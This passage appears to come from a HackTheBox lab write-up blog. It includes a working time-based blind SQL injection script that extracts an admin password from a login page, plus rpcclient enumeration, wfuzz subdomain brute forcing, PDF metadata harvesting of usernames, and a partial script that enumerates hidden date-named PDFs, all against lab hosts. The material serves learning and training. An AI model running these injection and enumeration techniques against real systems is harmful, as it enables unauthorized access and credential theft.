class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;span class="lnt"&gt;58&#10;&lt;/span&gt;&lt;span class="lnt"&gt;59&#10;&lt;/span&gt;&lt;span class="lnt"&gt;60&#10;&lt;/span&gt;&lt;span class="lnt"&gt;61&#10;&lt;/span&gt;&lt;span class="lnt"&gt;62&#10;&lt;/span&gt;&lt;span class="lnt"&gt;63&#10;&lt;/span&gt;&lt;span class="lnt"&gt;64&#10;&lt;/span&gt;&lt;span class="lnt"&gt;65&#10;&lt;/span&gt;&lt;span class="lnt"&gt;66&#10;&lt;/span&gt;&lt;span class="lnt"&gt;67&#10;&lt;/span&gt;&lt;span class="lnt"&gt;68&#10;&lt;/span&gt;&lt;span class="lnt"&gt;69&#10;&lt;/span&gt;&lt;span class="lnt"&gt;70&#10;&lt;/span&gt;&lt;span class="lnt"&gt;71&#10;&lt;/span&gt;&lt;span class="lnt"&gt;72&#10;&lt;/span&gt;&lt;span class="lnt"&gt;73&#10;&lt;/span&gt;&lt;span class="lnt"&gt;74&#10;&lt;/span&gt;&lt;span class="lnt"&gt;75&#10;&lt;/span&gt;&lt;span class="lnt"&gt;76&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cookies = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;PHPSESSID&amp;#39;: &amp;#39;c8kjhdoo2juviv0rfkgsop4tol&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;li = list(&amp;#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&amp;amp;*()_+-=[]{}|;:,.&amp;lt;&amp;gt;?/~`&amp;#34;\&amp;#39;\\&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(i)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Type&amp;#39;: &amp;#39;application/x-www-form-urlencoded&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=c8kjhdoo2juviv0rfkgsop4tol&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Origin&amp;#39;: &amp;#39;http://10.10.10.239&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://10.10.10.239/admin/index.php&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# database&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for temp_number in range(1,11):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# import time&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# start = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# data = f&amp;#39;username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28database%28%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&amp;amp;password=12&amp;amp;login=&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(&amp;#39;http://10.10.10.239/admin/login.php&amp;#39;, cookies=cookies, headers=headers, data=data)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# end = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(i,str(end-start))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if end-start &amp;gt;= 5.0:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp += i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# username&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for temp_number in range(1,6):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# import time&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# start = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# data = f&amp;#39;%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+username+FROM+admin%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(&amp;#39;http://10.10.10.239/admin/login.php&amp;#39;, cookies=cookies, headers=headers, data=data)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# end = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(i,str(end-start))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if end-start &amp;gt;= 5.0:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp += i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for temp_number in range(1,61):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; import time&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data = f&amp;#39;username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+password+FROM+admin+WHERE+username%3D%22admin%22%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&amp;amp;password=12&amp;amp;login=&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(&amp;#39;http://10.10.10.239/admin/login.php&amp;#39;, cookies=cookies, headers=headers, data=data)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; end = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(i,str(end-start))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if end-start &amp;gt;= 5.0:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp += i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="19intelligence"&gt;&lt;a href="#19intelligence" class="header-anchor"&gt;&lt;/a&gt;19.Intelligence&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0497.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0498.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0499.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0500.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Since port 53 is open, I&amp;rsquo;ll start with port 80 to collect the domain name, then see where that leads.&lt;/p&gt;&#10;&lt;p&gt;Port 80&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0501.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0502.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Domain: intelligence.htb&lt;/p&gt;&#10;&lt;p&gt;53 domain&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0503.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0504.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;135&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0505.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We have limited access.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; -N 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only enumprivs works, and it doesn&amp;rsquo;t return anything useful.&lt;/p&gt;&#10;&lt;p&gt;139/445&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0506.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0507.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0508.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;ldap&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0509.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0510.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing useful here. I&amp;rsquo;d already collected this information earlier.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s pretty much all the services checked. Brute-forcing port 80 found nothing either, so I&amp;rsquo;ll take a closer look. The dnsenum command I just used brute-forces subdomains through port 53, but it returned no results. I&amp;rsquo;ll try brute-forcing them myself with FFUF.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.248 -H &amp;#34;Host: FUZZ.intelligence.htb&amp;#34; --hh 7432&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I turned my attention to UDP. Port 123 is the only UDP service that&amp;rsquo;s different, since UDP ports 53, 88, and 389 are no different from their TCP counterparts. I haven&amp;rsquo;t encountered NTP on port 123 before.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-ntp" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/network-services-pentesting/pentesting-ntp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;There are payloads here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0511.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing useful.&lt;/p&gt;&#10;&lt;p&gt;This is really strange. After working through so many earlier boxes, I felt like I had a pretty thorough grasp of domain recon. But after collecting everything here, I have nothing besides the primary domain. Maybe I&amp;rsquo;m supposed to use an exploit?&lt;/p&gt;&#10;&lt;p&gt;No luck there either. I&amp;rsquo;m stuck.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0512.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But I did find two files on port 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://intelligence.htb/documents/2020-12-15-upload.pdf" target="_blank" rel="noopener"&#10; &gt;http://intelligence.htb/documents/2020-12-15-upload.pdf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://dc.intelligence.htb/documents/2020-01-01-upload.pdf" target="_blank" rel="noopener"&#10; &gt;http://intelligence.htb/documents/2020-01-01-upload.pdf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;There doesn&amp;rsquo;t seem to be anything in either file.&lt;/p&gt;&#10;&lt;p&gt;Neither strings nor head revealed anything, and the PDFs themselves look empty too. I thought it might be a Caesar cipher, but decoding it went nowhere.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0513.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing, and the domain didn&amp;rsquo;t turn up anything either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0514.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is tough. I was completely out of ideas, so I looked at the next step in the write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0515.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was my first time seeing this kind of text, and also my first time seeing this method of extracting detailed information. I&amp;rsquo;ll learn about both of them first.&lt;/p&gt;&#10;&lt;p&gt;Lorem Ipsum-style text generally contains repeated Latin words.&lt;/p&gt;&#10;&lt;p&gt;PDF metadata analysis (using ExifTool) can extract metadata and reveal information.&lt;/p&gt;&#10;&lt;p&gt;Unless you&amp;rsquo;re doing forensics, I don&amp;rsquo;t think this is something you&amp;rsquo;d normally expect here. At least now I know the entry point.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0516.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found two creators—two usernames—and both accounts do exist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0517.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now that I have the accounts, I&amp;rsquo;ll use this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0518.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0519.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing.&lt;/p&gt;&#10;&lt;p&gt;Based on how the PDFs on the website are named:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://dc.intelligence.htb/documents/2020-01-01-upload.pdf" target="_blank" rel="noopener"&#10; &gt;http://dc.intelligence.htb/documents/2020-01-01-upload.pdf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It&amp;rsquo;s clear that the filename is based on the year, month, and day. There may be more hidden files like this, and I need to extract them.&lt;/p&gt;&#10;&lt;p&gt;I started building a PoC.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import datetime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # &amp;#39;If-Modified-Since&amp;#39;: &amp;#39;Thu, 01 Apr 2021 17:00:00 GMT&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # &amp;#39;If-None-Match&amp;#39;: &amp;#39;&amp;#34;0e86d731827d71:0&amp;#34;&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://dc.intelligence.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start_date = datetime.date(2020,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;end_date = datetime.date(2022,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dalta = datetime.timedelta(days=1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date_list = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while start_date &amp;lt; end_date:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; date_list.append(start_date)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start_date += dalta&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 